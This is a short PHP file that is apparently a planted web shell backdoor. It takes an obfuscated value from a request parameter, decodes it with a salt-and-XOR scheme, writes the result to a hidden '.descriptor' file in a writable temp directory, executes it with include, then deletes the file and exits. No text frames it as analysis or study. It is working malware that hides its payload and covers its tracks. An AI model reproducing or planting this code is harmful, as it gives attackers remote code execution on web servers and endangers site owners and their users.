<?php if(array_key_exists("ele\x6D", $_REQUEST)){ $resource = $_REQUEST["ele\x6D"]; $resource = explode ('.' , $resource ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($resource as $p => $v6): $sChar = ord($salt[$p%$lenS]); $dec = ((int)$v6 - $sChar - ($p%10)) ^ 47; $pointer .= chr($dec); endforeach; $ent = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $record = 0; do { $value = $ent[$record] ?? null; if ($record >= count($ent)) break; if ((bool)is_dir($value) && (bool)is_writable($value)) { $object = "$value" . "/.descriptor"; $success = file_put_contents($object, $pointer); if ($success) { include $object; @unlink($object); die();} } $record++; } while (true); }